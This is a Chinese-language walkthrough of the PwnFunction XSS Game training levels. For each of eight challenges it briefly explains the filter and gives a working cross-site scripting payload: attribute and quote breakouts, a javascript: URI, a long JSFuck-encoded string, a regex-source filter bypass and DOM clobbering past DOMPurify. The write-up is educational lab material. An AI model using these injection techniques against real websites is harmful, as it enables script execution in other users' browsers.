XSS Game
关卡网址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction
1.Ma Spaghet!

见源代码分析得,somebody接收参数,输入somebody=111查看所在位置

使用input标签
<input onmouseover=alert(1337)>
2.Jefff

jeff接收参数,在eval函数中赋值给ma,然后ma再赋值给maname
/jefff.html?jeff=aaaa";alert(1337);"
3.Ugandan Knuckles

wey接受参数,过滤了<>,在input中闭合前后引号,在onfocus后添加autofocus
/da-wey.html?wey=aaa" onfocus=alert(1337) autofocus="
4.Ricardo Milos

ricardo接收参数, ricardo在from表单中
/ricardo.html?ricardo=javascript:alert(1337)
5.Ah That'Hawt

markassbrownlee接收参数,赋值给smith,然后smith进行过滤,过滤了括号、单引号、斜杠,然后进入了innerHTML中,赋值给will
/thats-hawt.html?markassbrownlee=< img src=1 onerror=location="javascript:alert%25281337%2529">
6.Ligma

balls接收参数,过滤掉了字母和数字,使用jsfuck工具进行编码,再再url中编码


/ligma.html?balls=%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d((!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%2b%5b!%5b%5d%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%2b(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d))%5b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%5b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b((%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%5d(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)()((!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%5b%2b%5b%5d%5d%2b!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d)
7.Mafia

mafia接收参数,过滤了单引号、双引号、+、-、!、中括号和alert,最后由eval执行命令。
/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
8.Ok,Boomer

boomer接受参数,DOMPurify框架中,将所有标签给过滤了,代码中没有setTimeout中ok变量,所以要创建ok变量
/ok-boomer.html?boomer=%3Ca%20id=ok%20href=%22tel:alert(1337)%22%3E
相关文章:
XSS Game
关卡网址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction 1.Ma Spaghet! 见源代码分析得,somebody接收参数,输入somebody111查看所在位置 使用input标签 <input onmouseoveralert(1337)> 2.Jefff jeff接收参数,在ev…...
???牛客周赛55:虫洞操纵者
题目描述 \,\,\,\,\,\,\,\,\,\,你需要在一个可以上下左右移动的 nnn\times nnn 棋盘上解开一个迷宫:棋盘四周都是墙;每个方格要么是可以通过的空方格 ′0′\sf 0′0′ ,要么是不可通过的墙方格 ′1′\sf 1′1′ ;你可以沿着空方格…...
Unity3D开发之OnCollisionXXX触发条件
A和B碰撞触发OnCollision函数条件如下: 1.A和B都要有collider。(子物体有也可以) 2.A和B至少有一个刚体(Rigidbody)组件,且刚体的isKinematic为false。如果为true不会触发。 3.挂载脚本的物体必须有刚体…...
spfa()算法(求最短路)
spfa算法是对bellman_ford算法的优化,大部分求最短路问题都可以用spaf算法来求。 注意: (1)如若图中有负权回路,不能用spfa算法,要用bellman_ford算法;若只有负权边,则可以用 spf…...
聊聊国产数据库的生态系统建设
生态系统是指在自然界中,生物与环境构成统一的整体,之间相互影响相互制约,并在一定时期内处于相对稳定的动态平衡状态。所谓数据库的生态系统,从用户的角度看,就是充分打通产品使用过程中上下游的关联,使其…...
JDK源码解析:LinkedList
1、背景 我们咨询一下腾讯混元大模型,什么是“LinkedList”。 以下是混元大模型的回答: LinkedList 是 Java 集合框架中的一种数据结构,它实现了 List 和 Deque 接口。LinkedList 是一个双向链表,这意味着每个元素都包含对前一个和…...
drawio的问题
drawio的问题 先给出drawio的链接https://app.diagrams.net/ 我在用overleaf写论文的过程中,发现了一个问题,就是使用drawio画好图之后,只能保存以下几个选项: 但是不管是什么类型,在overleaf上面图片都不显示。如果…...
零基础学习Redis(3) -- Redis常用命令
Redis是一个 客户端-服务器 结构的程序,Redis客户端和服务器可以在同一台主机上,也可以在不同主机上,客户端和服务器之间通过网络进行通信。服务器端负责存储和管理数据。客户端则可以通过命名对服务端的数据进行操作。 Redis客户端有多种&a…...
响应式Web设计:纯HTML和CSS的实现技巧-1
响应式Web设计(Responsive Web Design, RWD)是一种旨在确保网站在不同设备和屏幕尺寸下都能良好运行的网页设计策略。通过纯HTML和CSS实现响应式设计,主要依赖于媒体查询(Media Queries)、灵活的布局、可伸缩的图片和字…...
FrereRTOS事件组
文章目录 一、事件组概念与操作1、事件组的概念2、事件组的操作 二、事件组函数1、创建2、删除3、设置事件4、等待事件5、同步点 三、示例:广播四、示例:等待一个任意事件五、示例: 等待多个事件都发生 学校组织秋游,组长在等待: …...
【经典算法】BFS_最短路问题
目录 1. 最短路问题介绍2. 算法原理和代码实现(含题目链接)1926.迷宫中离入口最近的出口433.最小基因变化127.单词接龙675.为高尔夫比赛砍树 3. 算法总结 1. 最短路问题介绍 最短路径问题是图论中的一类十分重要的问题。本篇文章只介绍边权为1(或边权相同)的最简单的最短路径问…...
【题目/训练】:双指针
引言 我们已经在这篇博客【算法/学习】双指针-CSDN博客里面讲了双指针、二分等的相关知识。 现在我们来做一些训练吧 经典例题 1. 移动零 思路: 使用 0 当做这个中间点,把不等于 0(注意题目没说不能有负数)的放到中间点的左边,等于 0 的…...
LLVM - 编译器后端-指令选择
一:概述 任何后端的核心都是指令选择。LLVM 实现了几种方法;在本篇文章中,我们将通过选择有向无环图(DAG)和全局指令选择来实现指令选择。 在本篇文章中,我们将学习以下主题: • 定义调…...
ES+FileBeat+Kibana日志采集搭建体验
1.环境准备 需要linux操作系统,并安装了docker环境 此处使用虚拟机演示。(虚拟机和docker看参考我之前写的文章) VirtualBox安装Oracle Linux 7.9全流程-CSDN博客 VirtualBox上的Oracle Linux虚拟机安装Docker全流程-CSDN博客 简单演示搭建ES…...
Dockerfile常用指令详解
Dockerfile 是一个用于定义 Docker 镜像构建过程的脚本文件,其中包含了一系列指令,用于指定如何构建和配置镜像。以下是一些常用的 Dockerfile 指令及其示例用法: 1. FROM 指定基础镜像,Dockerfile 必须以该指令开始。 示例&am…...
【vue】浏览器兼容相关
Vue.js 是一个流行的前端 JavaScript 框架,它支持构建单页应用和复杂的用户界面。Vue.js 的核心库本身对浏览器的支持情况如下: Vue.js 2.x 最低支持版本:IE9 及以上版本。特性支持:ES5。兼容性:Vue 2.x 在发布时就考…...
【区块链+金融服务】基于区块链的区域股权金融综合服务平台 | FISCO BCOS应用案例
区域性股权市场是我国资本市场的重要组成部分,是多层次资本市场体系的基石。区块链技术与区域性股权市场 分散特征天然匹配,从新型金融基础设施层面为场外参与各方提供公共的可信服务,以技术手段完善市场基础条 件,弥补区域性短板…...
string字符串和json对象相互转换问题
//响应体String responseStr EntityUtils.toString(response.getEntity());log.debug("下单响应码:{},响应体:{}",statusCode,responseStr);if(statusCode HttpStatus.OK.value()){JSONObject jsonObject JSONObject.parseObject(responseStr);if(jsonObject.cont…...
【生成式人工智能-十一一个不修改模型就能加速语言模型生成的方法】
一个加速语言模型生成的方法 现在语言模型的一个弊端speculative decoding预言家预测的问题 speculative decoding 模块的实现方法NAT Non-autoregressive模型压缩使用搜索引擎 一些更复杂些的speculative decoding 实现方式 speculative decoding 是一个适用于目前生成模型的加…...
Rust 错误处理
Rust 错误处理 Rust 是一种系统编程语言,以其内存安全、高并发和实用性而著称。在 Rust 中,错误处理是一个核心概念,它通过提供 Result 和 Option 类型来鼓励开发者显式地处理可能出现的错误,而不是依赖异常机制。本文将深入探讨 Rust 中的错误处理机制,包括 Result 和 O…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
cf2117E
原题链接:https://codeforces.com/contest/2117/problem/E 题目背景: 给定两个数组a,b,可以执行多次以下操作:选择 i (1 < i < n - 1),并设置 或,也可以在执行上述操作前执行一次删除任意 和 。求…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
拉力测试cuda pytorch 把 4070显卡拉满
import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试,通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小,增大可提高计算复杂度duration: 测试持续时间(秒&…...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
QT3D学习笔记——圆台、圆锥
类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
